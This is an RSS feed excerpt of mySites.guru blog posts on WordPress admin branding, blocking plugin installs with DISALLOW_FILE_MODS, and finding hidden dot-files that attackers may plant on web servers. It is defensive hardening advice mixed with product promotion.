&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/remove-wordpress-logo-toggle.gif&quot; alt=&quot;Toggling the WordPress admin bar logo on and off in mySites.guru&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How does this fit into a broader customisation workflow?&lt;/h2&gt;
&lt;p&gt;Removing the WordPress logo is often one step in a series of admin customisations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Custom login page - brand the login screen with your logo and colours&lt;/li&gt;
&lt;li&gt;Remove WordPress logo from admin bar - handled by mySites.guru&lt;/li&gt;
&lt;li&gt;Custom dashboard widgets - replace default WordPress news and events with your own content&lt;/li&gt;
&lt;li&gt;Custom admin footer - replace “Thank you for creating with WordPress” with your own text&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/disable-wordpress-admin-bar-frontend/&quot;&gt;Disable the frontend admin bar&lt;/a&gt; for non-admins - covered in the companion post&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru handles the WordPress logo removal from this list. For the others, you’d typically use a white-label plugin or custom theme functions. But having the logo removal available as a one-click audit fix means one less thing to configure manually on each new site. The same one-click pattern applies to other WordPress cleanup tasks, like &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing the default Sample Page and Hello World post&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Who benefits most?&lt;/h2&gt;
&lt;p&gt;Agencies delivering WordPress sites to clients, freelancers who want a polished admin experience, enterprise deployments with corporate branding requirements, and membership platforms where logged-in users see the admin bar.&lt;/p&gt;
&lt;p&gt;If you want a consistent branded admin experience across multiple WordPress sites without maintaining custom code on each one, this is an easy win. For more on managing your WordPress workflow efficiently, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>admin bar</category><category>white-label</category><category>branding</category><category>customization</category><enclosure url="https://mysites.guru/img/og/blog/remove-wordpress-logo-admin-bar-one-click.png" length="0" type="image/png"/></item><item><title>How to Stop Any Plugin Installs in WordPress Admin</title><link>https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/</guid><description>Add DISALLOW_FILE_MODS to wp-config.php to block plugin and theme installs in WordPress admin. Code snippet, wp-cli usage, and how to enforce it.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why does the WordPress admin let anyone install code?&lt;/h2&gt;
&lt;p&gt;Out of the box, any WordPress administrator can install plugins and themes directly from the WordPress dashboard. They can also upload ZIP files containing arbitrary PHP code, which is why we check every connected site for &lt;a href=&quot;https://mysites.guru/tools/wordpress-configuration/disallow-file-mods/&quot;&gt;the DISALLOW_FILE_MODS constant&lt;/a&gt;, and edit existing plugin and theme files through the built-in code editor.&lt;/p&gt;
&lt;p&gt;For a single-user blog, this is convenient. For a professionally managed site with multiple admin users, it’s a gaping security hole. If an attacker has already used this to compromise your site, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;here’s how to confirm the hack and respond&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Consider what “install a plugin” really means in WordPress: it’s uploading and executing arbitrary PHP code on your web server. The WordPress plugin directory has quality guidelines, but the upload functionality accepts any ZIP file - including ones downloaded from random websites, received via email, or crafted by an attacker.&lt;/p&gt;
&lt;h2&gt;What is the WordPress security case for DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;h3&gt;Compromised admin accounts&lt;/h3&gt;
&lt;p&gt;The most common WordPress hack path is a stolen or brute-forced admin password, not a zero-day exploit. Once an attacker has admin access, installing a malicious plugin is the fastest way to establish a persistent backdoor.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; enabled, even a compromised admin account can’t install plugins, upload themes, or edit PHP files through the WordPress interface. The attacker still has admin access (which is bad), but they can’t escalate from “can manage content” to “can execute arbitrary code on the server.”&lt;/p&gt;
&lt;h3&gt;Unauthorized installations&lt;/h3&gt;
&lt;p&gt;On sites with multiple admins - common in agencies, marketing teams, and organizations - there’s always someone who wants to install “just one more plugin” without testing it. Maybe it’s a social sharing widget, maybe it’s a page builder, maybe it’s something they found in a blog post.&lt;/p&gt;
&lt;p&gt;Every plugin added to a WordPress site is code that needs to be maintained, updated, and security-audited. Uncontrolled plugin installations lead to bloated, slow, vulnerable sites.&lt;/p&gt;
&lt;h3&gt;Supply chain attacks&lt;/h3&gt;
&lt;p&gt;Compromised plugins in the WordPress directory are a recurring problem. When a legitimate plugin is sold to a new developer who pushes a malicious update, sites with auto-updates enabled install the malicious version automatically. You can &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; as a first line of defence. With &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; on, even if auto-updates are enabled at the WordPress level, the file modification is blocked. If you also manage Joomla sites, be aware that &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;Joomla 5.4+ has its own automated core updates&lt;/a&gt; that should be reviewed and disabled for the same reasons.&lt;/p&gt;
&lt;h2&gt;How do you set DISALLOW_FILE_MODS manually?&lt;/h2&gt;
&lt;p&gt;Add this line to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;DISALLOW_FILE_MODS&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This immediately:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Removes the Plugin Editor and Theme Editor from the admin menu&lt;/li&gt;
&lt;li&gt;Hides the “Add New” button on the Plugins and Themes screens&lt;/li&gt;
&lt;li&gt;Blocks plugin and theme uploads through the admin&lt;/li&gt;
&lt;li&gt;Prevents automatic updates from modifying files (note: this is more aggressive than &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The manual process for multiple sites: SSH into each server, edit wp-config.php, verify the change, repeat. And keep checking that no one has removed it.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru manage DISALLOW_FILE_MODS?&lt;/h2&gt;
&lt;p&gt;mySites.guru’s WordPress Configuration audit reads &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; from wp-config.php on every connected site. If it’s not set to &lt;code&gt;true&lt;/code&gt;, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector sets it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/disallow-file-mods-toggle.gif&quot; alt=&quot;Toggling DISALLOW_FILE_MODS on and off in mySites.guru&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can also view this constant across all your WordPress sites at once and toggle each one individually from the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Wordpress/wordpressconfiguration/disableplugininstaller&quot;&gt;all-sites tool view&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/disallow-file-mods-all-sites.png&quot; alt=&quot;DISALLOW_FILE_MODS status across all WordPress sites in mySites.guru&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If the constant gets removed later (WordPress upgrade, another admin, hosting provider auto-configuration), the next snapshot catches it again. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;removing the WordPress logo from the admin bar&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;h2&gt;But how do I update WordPress plugins then?&lt;/h2&gt;
&lt;p&gt;If you block file modifications in the admin, how do you keep plugins and themes updated?&lt;/p&gt;
&lt;p&gt;Several options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI&lt;/strong&gt; - the command-line tool for WordPress isn’t affected by &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. You can run &lt;code&gt;wp plugin update --all&lt;/code&gt; via SSH.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SFTP/SSH deployment&lt;/strong&gt; - upload updated plugin files directly to the server, bypassing the WordPress admin entirely.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru&lt;/strong&gt; - the connector plugin operates at a level that can apply updates independently of the WordPress admin interface. You &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;manage updates from the mySites.guru dashboard&lt;/a&gt; while keeping the WordPress admin locked down. For the full workflow, see how to &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage multiple WordPress sites like a pro&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; separates two concerns that WordPress normally bundles together:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Content management&lt;/strong&gt; - creating pages, writing posts, managing users (still works)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code management&lt;/strong&gt; - installing plugins, editing themes, modifying PHP files (blocked)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;On a well-managed site, different people (or systems) handle these two concerns. Content editors don’t need to install plugins. Plugin updates happen through a controlled process, not through the WordPress admin UI.&lt;/p&gt;
&lt;h2&gt;What about WordPress ALLOW_UNFILTERED_UPLOADS?&lt;/h2&gt;
&lt;p&gt;There’s a related constant that’s more dangerous in practice: &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it lets administrators upload any file type through the WordPress media library - PHP files, executables, anything.&lt;/p&gt;
&lt;p&gt;WordPress normally restricts uploads to safe file types like images, PDFs, and documents. &lt;code&gt;ALLOW_UNFILTERED_UPLOADS&lt;/code&gt; removes that restriction entirely. Some developers enable it to upload SVGs or custom font files, then forget to turn it off.&lt;/p&gt;
&lt;p&gt;If an attacker compromises an admin account on a site with unfiltered uploads enabled, they can upload a PHP backdoor directly through the media uploader. No plugin installation needed, no theme editor required - just drag and drop a &lt;code&gt;.php&lt;/code&gt; file into the media library.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;define&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;ALLOW_UNFILTERED_UPLOADS&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Keep this set to &lt;code&gt;false&lt;/code&gt; (or better yet, don’t define it at all - &lt;code&gt;false&lt;/code&gt; is the default). If you need SVG uploads, use a plugin that sanitises SVG files rather than opening the door to every file type.&lt;/p&gt;
&lt;p&gt;mySites.guru’s WordPress Configuration audit checks this constant alongside &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt;. If unfiltered uploads are enabled on any of your sites, you’ll see it flagged and can disable it with one click.&lt;/p&gt;
&lt;h2&gt;How does this fit into a WordPress defence-in-depth strategy?&lt;/h2&gt;
&lt;p&gt;Locking down file modifications works best alongside other hardening steps: disabling XML-RPC, limiting post revisions, closing the unauthenticated database repair endpoint, &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforcing minor-only core updates&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;removing leftover default content like the Sample Page and Hello World post&lt;/a&gt;, and enforcing strong passwords with 2FA.&lt;/p&gt;
&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit checks all of these&lt;/a&gt; in the same snapshot. You see your security posture across every site on one screen, and any configuration drift gets caught automatically. For more on what the audit covers, see the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice guide&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several hardening measures in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>hardening</category><category>wp-config</category><enclosure url="https://mysites.guru/img/og/blog/stop-plugin-installs-wordpress-admin.png" length="0" type="image/png"/></item><item><title>Hidden Files Lurking on Your Web Server</title><link>https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</link><guid isPermaLink="true">https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/</guid><description>Your web server probably has hidden dot-files you&apos;ve never seen. Some are harmless, some were left by hackers. Here&apos;s how to find them.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You know what’s great about files that start with a period? They’re invisible. Your FTP client hides them. Your cPanel file manager hides them. Even &lt;code&gt;ls&lt;/code&gt; on the command line hides them unless you remember to add &lt;code&gt;-a&lt;/code&gt;. Our own &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; doesn’t have that blind spot: dotfiles list right alongside everything else, in the same folder they’re actually sitting in.&lt;/p&gt;
&lt;p&gt;Hackers know this too.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;A list of known PHP backdoor and web shell files with dot-prefixed names&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1084px) 1084px, 100vw&quot; width=&quot;1084&quot; height=&quot;868&quot; src=&quot;https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_cG5mM.webp&quot; srcset=&quot;https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_Z1KQpLv.webp 640w, https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_Z11GDYS.webp 750w, https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_Z9Qfaz.webp 828w, https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_25nz1u.webp 1080w, https://mysites.guru/_astro/hidden-files-list.Cq0x0r4e_cG5mM.webp 1084w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What is the dot-file blind spot?&lt;/h2&gt;
&lt;p&gt;Every web server has files that start with a dot - &lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;, &lt;code&gt;.user.ini&lt;/code&gt;. These are normal. They control how your server behaves, who can access what, and how PHP runs.&lt;/p&gt;
&lt;p&gt;If a hacker drops a file called &lt;code&gt;.joomla.class.php&lt;/code&gt; or &lt;code&gt;.wordpress.class.php&lt;/code&gt; into a random subdirectory three levels deep, you’ll probably never see it. Not in your file manager, not during a casual browse through FTP, not ever. That file could sit there for years, redirecting your visitors to a spam site or giving the attacker a backdoor to walk right back in whenever they feel like it. If any of this sounds familiar, our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; can check every file in your webspace - and if you already know something is wrong, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked guide&lt;/a&gt; walks you through what to do next.&lt;/p&gt;
&lt;p&gt;We’ve seen this on real sites. Hidden dot-folders too, like a &lt;code&gt;.cache&lt;/code&gt; or &lt;code&gt;.tmp&lt;/code&gt; directory planted by an attacker, full of phishing kits or mailer scripts. The dot prefix keeps them invisible on most hosting panels, so they come through cleanups and updates because no one knows they’re there.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru find them?&lt;/h2&gt;
&lt;p&gt;When you run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on any connected site, mySites.guru scans every file on your webspace and flags anything with a dot-prefixed name. The hidden files check looks through the full file index for any path containing &lt;code&gt;/.&lt;/code&gt; - catching dot-files &lt;em&gt;and&lt;/em&gt; dot-folders at every level of your site.&lt;/p&gt;
&lt;p&gt;The audit dashboard shows your hidden files count with a simple badge:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green&lt;/strong&gt; - zero hidden files found (uncommon, but possible on minimal installs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Yellow&lt;/strong&gt; - hidden files detected, review recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s a yellow warning, not a red alarm. The tool lists &lt;em&gt;every&lt;/em&gt; file with a dot-prefix - legitimate or not. It doesn’t try to decide what’s safe and what isn’t. That’s your call. Some of these files will be perfectly normal (&lt;code&gt;.htaccess&lt;/code&gt;, &lt;code&gt;.htpasswd&lt;/code&gt;), some will be developer junk (&lt;code&gt;.gitkeep&lt;/code&gt;), and some might be malware. The point is to make sure you actually &lt;em&gt;know&lt;/em&gt; what’s there, because you can’t make that judgement on files you’ve never seen.&lt;/p&gt;
&lt;p&gt;If something looks suspicious, other mySites.guru tools can help - the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt; will flag known backdoor patterns, so the same file might turn up across multiple tools. That overlap is intended. Different tools catch different things from different angles. The &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;Joomla malware scanner&lt;/a&gt; page covers the full set of checks.&lt;/p&gt;
&lt;h2&gt;Drilling into the results&lt;/h2&gt;
&lt;p&gt;Click through from the audit result and you’ll get the full list of every hidden file on the site, sorted by last modified date (newest first). For each file you can see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The full file path&lt;/li&gt;
&lt;li&gt;When it was last modified&lt;/li&gt;
&lt;li&gt;File size (flagged if unusually large)&lt;/li&gt;
&lt;li&gt;File permissions (flagged if they’re not standard 644)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is where it gets useful. You’ll probably see a handful of &lt;code&gt;.htaccess&lt;/code&gt; files - one in the root, maybe one in &lt;code&gt;/administrator/&lt;/code&gt; or &lt;code&gt;/wp-admin/&lt;/code&gt;, and that’s expected. But if you see a &lt;code&gt;.htaccess&lt;/code&gt; in &lt;code&gt;/images/stories/&lt;/code&gt; or a &lt;code&gt;.php&lt;/code&gt; dot-file buried in &lt;code&gt;/wp-content/uploads/2019/03/&lt;/code&gt;, that’s worth a closer look. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; can scan its contents for known malware patterns and confirm whether it’s a known backdoor.&lt;/p&gt;
&lt;p&gt;The tool paginates results (100 at a time with “Load another 100” or “Show All”), and you can &lt;strong&gt;export everything to CSV&lt;/strong&gt; if you need to share the findings with a client or keep a record.&lt;/p&gt;
&lt;h2&gt;Are hidden folders just as bad?&lt;/h2&gt;
&lt;p&gt;The audit also counts &lt;strong&gt;hidden folders&lt;/strong&gt; separately. A dot-prefixed folder like &lt;code&gt;/.bak&lt;/code&gt; or &lt;code&gt;/.old&lt;/code&gt; can contain an entire toolkit - file managers, mailer scripts, SEO spam pages - all completely invisible to anyone casually browsing the server.&lt;/p&gt;
&lt;p&gt;Attackers also disguise backdoors as legitimate file types. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework attack&lt;/a&gt; drops PHP code inside SVG image files - they pass basic file type checks but execute as PHP on the server.&lt;/p&gt;
&lt;p&gt;These hidden folders can stay for &lt;em&gt;years&lt;/em&gt;. Site owners clean up after a hack, reinstall core files, change passwords, and feel safe. But that &lt;code&gt;.tools&lt;/code&gt; folder three directories deep? Still there. Still accessible. Still a way back in. A backdoor does not have to hide in a dot-folder either: it can sit in a folder the CMS itself owns, under a name that reads as core, which is what the &lt;a href=&quot;https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/&quot;&gt;Impostor Files check&lt;/a&gt; is for. If you find something that shouldn’t be there, our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;guide to fixing a hacked site&lt;/a&gt; walks you through what to do without destroying the evidence.&lt;/p&gt;
&lt;h2&gt;It’s not always hackers - developers leave these too&lt;/h2&gt;
&lt;p&gt;Not every hidden file is malware. Some of the dot-files on your site were put there by legitimate extension developers who made questionable decisions.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Hidden files from legitimate extensions found on a real Joomla site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1486px) 1486px, 100vw&quot; width=&quot;1486&quot; height=&quot;756&quot; src=&quot;https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_Z3MgC4.webp&quot; srcset=&quot;https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_Hj6ro.webp 640w, https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_ZzSwI2.webp 750w, https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_28moUD.webp 828w, https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_w4Yn8.webp 1080w, https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_ZqwPCw.webp 1280w, https://mysites.guru/_astro/hidden-files-dev-artifacts.CmdvwPRC_Z3MgC4.webp 1486w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Take &lt;code&gt;.gitkeep&lt;/code&gt; files. These are development artifacts - empty placeholder files that developers use to force Git to track otherwise-empty directories. They serve zero purpose on a production web server. Yet plenty of extensions ship with &lt;code&gt;.gitkeep&lt;/code&gt; files scattered throughout their directory trees because no one bothered to exclude them from the release package. They’re harmless, but they’re clutter, and they tell you the developer’s build process needs work.&lt;/p&gt;
&lt;p&gt;Then there’s the truly stupid stuff. We’ve seen extensions ship with &lt;code&gt;.api.key&lt;/code&gt; files - actual API credentials stored in a dot-file on the assumption that the dot prefix somehow makes it secure. It doesn’t. Anyone who knows the path can request it directly in a browser. The dot prefix only hides files from directory listings, not from direct access. Hiding secrets by putting a dot in front of the filename is like hiding your house key under the doormat and calling it a security system.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt; files inside third-party extensions are another common find. Some are legitimate (restricting direct PHP execution in upload directories), but others are leftover development config that the developer forgot to remove. An &lt;code&gt;.htaccess&lt;/code&gt; inside a &lt;code&gt;.tmp&lt;/code&gt; or &lt;code&gt;.trash&lt;/code&gt; folder deep in an extension’s vendor directory is a sign that the extension is shipping its entire development tree rather than a clean production build.&lt;/p&gt;
&lt;p&gt;The point is: even when these files aren’t malicious, they’re still worth knowing about. They reveal the quality of the code you’re running, and occasionally they expose things that shouldn’t be publicly accessible.&lt;/p&gt;
&lt;p&gt;One category you can recognize on sight: your own tools. If mySites.guru is monitoring the site, its connector writes small &lt;code&gt;.myjoomla.*.md5&lt;/code&gt; files (or &lt;code&gt;.mywpguru.*.md5&lt;/code&gt; on WordPress) next to the files it watches. Those are &lt;a href=&quot;https://mysites.guru/blog/myjoomla-configuration-php-md5-files/&quot;&gt;file-integrity lock files, not malware&lt;/a&gt; - they hold a hash of the watched file so a change gets caught on the next page load.&lt;/p&gt;
&lt;h2&gt;What about the .well-known folder?&lt;/h2&gt;
&lt;p&gt;One dot-folder you’ll almost certainly see is &lt;code&gt;/.well-known/&lt;/code&gt;. This one is legitimate - it’s an &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8615&quot;&gt;IETF standard&lt;/a&gt; that services use to discover things about your site. Let’s Encrypt puts its domain validation challenges in &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt;. Apple uses &lt;code&gt;/.well-known/apple-app-site-association&lt;/code&gt; for universal links. Security researchers look for &lt;code&gt;/.well-known/security.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So why mention it here? Because attackers know you expect this folder to exist, and they abuse that. We’ve seen sites where someone planted a PHP shell inside &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt; because it’s a directory that already has to be publicly accessible for SSL renewals to work. No one questions traffic to &lt;code&gt;/.well-known/&lt;/code&gt; in their access logs.&lt;/p&gt;
&lt;p&gt;If you see files inside &lt;code&gt;/.well-known/&lt;/code&gt; that aren’t plain text challenge tokens or JSON config files, especially anything ending in &lt;code&gt;.php&lt;/code&gt;, take a closer look. The folder is supposed to be boring. If it isn’t, that’s a problem.&lt;/p&gt;
&lt;h2&gt;Why does .htaccess deserve extra attention?&lt;/h2&gt;
&lt;p&gt;We flag &lt;code&gt;.htaccess&lt;/code&gt; files - yes, we know they’re usually fine. But &lt;code&gt;.htaccess&lt;/code&gt; is one of the most powerful files on an Apache server. A malicious one can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redirect all your traffic to a spam or phishing site&lt;/li&gt;
&lt;li&gt;Block search engine crawlers from indexing your real content&lt;/li&gt;
&lt;li&gt;Serve different content to Googlebot than to real visitors (cloaking)&lt;/li&gt;
&lt;li&gt;Password-protect directories the attacker has planted files in&lt;/li&gt;
&lt;li&gt;Execute PHP in directories where it shouldn’t run (like &lt;code&gt;/uploads/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One &lt;code&gt;.htaccess&lt;/code&gt; in the wrong place can undo every other security measure you’ve put in place. Reviewing all of them periodically is just good practice.&lt;/p&gt;
&lt;h2&gt;What should you do with the results?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Review every dot-file that isn’t &lt;code&gt;.htaccess&lt;/code&gt;. If you don’t recognize it, look at what’s inside. If you’re not confident reading PHP, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; can tell you within seconds whether a file is malware or a false positive&lt;/li&gt;
&lt;li&gt;Count your &lt;code&gt;.htaccess&lt;/code&gt; files. Most sites have 1-3 legitimate ones. If you have 15, something is off&lt;/li&gt;
&lt;li&gt;Check modification dates. A &lt;code&gt;.htaccess&lt;/code&gt; modified last week that you didn’t touch? Red flag. Better still, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;set up real-time file modification alerts&lt;/a&gt; so you’re notified the moment a file changes&lt;/li&gt;
&lt;li&gt;Look for dot-folders. Legitimate ones are rare outside of development environments&lt;/li&gt;
&lt;li&gt;Compare between audits. If your hidden file count suddenly jumps, dig in immediately&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Still not sure what you’re looking at? &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;Drop Phil a message&lt;/a&gt; and he’ll point you in the right direction. If you’d rather have someone go through the whole site for you, you can book a paid consultancy review at &lt;a href=&quot;https://fix.mysites.guru&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you run this across all your sites?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, doing this manually on each one would take days. With mySites.guru, every scheduled audit automatically counts hidden files across all your connected sites. You can configure &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;how often those audits run&lt;/a&gt; - daily, weekly, or monthly - and spot anomalies at a glance from the dashboard without logging into a single server.&lt;/p&gt;
&lt;p&gt;You can also view the hidden files results for every site on a single page at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/filesinformation/hiddenfiles&quot;&gt;the all-sites hidden files tool&lt;/a&gt;. Each site shows its hidden file count with an Investigate button to drill into the details, and a Manage Site button to jump straight to that site’s dashboard. Tabs let you switch between your Joomla, WordPress, and Generic PHP sites.&lt;/p&gt;
